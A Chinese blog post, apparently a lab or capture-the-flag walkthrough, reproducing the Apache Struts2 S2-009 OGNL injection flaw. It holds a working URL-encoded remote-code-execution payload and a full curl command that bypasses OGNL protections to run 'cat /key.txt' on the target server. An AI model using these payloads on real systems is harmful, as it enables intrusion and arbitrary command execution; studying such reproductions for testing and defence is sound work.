Apache Struts2远程代码执行漏洞(S2-009)复现

漏洞原理:ognl提供了广泛的表达式评估功能等功能。该漏洞允许恶意用户绕过parametersinterceptor内置的所有保护(正则表达式,拒绝方法调用),从而能够将任何暴露的字符串变量中的恶意表达式注入进行进一步评估。parametersinterceptor中的正则表达式将top [‘foo’](0)作为有效的表达式匹配,ognl将其作为(top [‘foo’])(0)处理,并将“foo”操作参数的值作为ognl表达式求值。这使得恶意用户将任意的ognl语句放入由操作公开的任何string变量中,并将其评估为ognl表达式,并且由于ognl语句在http参数中,攻击者可以使用黑名单字符(例如#)禁用方法执行并执行任意方法,绕过parametersinterceptor和ognl库保护。

查找存在漏洞的页面:http://219.153.49.228:49459/s2_009/ajax/example5

查找poc,并进行url编码,age=12313&name=%28%23context[“xwork.methodaccessor.denymethodexecution”]%3d+new+java.lang.boolean%28false%29,%20%23_memberaccess[“allowstaticmethodaccess”]%3d+new+java.lang.boolean%28true%29,%20@java.lang.runtime@getruntime%28%29.exec%28%27cat%20key.txt%27%29%29%28meh%29&z[%28name%29%28%27meh%27%29]=true

用hackbar执行不能下载,改为用kali
在这里插入图片描述将文件下载并保存在t.txt中,curl -x post “http://219.153.49.228:49459/s2_009/ajax/example5” -d “age=12313&name=(%23context[%22xwork.methodaccessor.denymethodexecution%22]=+new+java.lang.boolean(false),+%23_memberaccess[%22allowstaticmethodaccess%22]=true,+%23a=@java.lang.runtime@getruntime().exec(%27cat /key.txt%27).getinputstream(),%23b=new+java.io.inputstreamreader(%23a),%23c=new+java.io.bufferedreader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.servletactioncontext@getresponse().getwriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27)]” --output t.txt

查看txt文件
在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值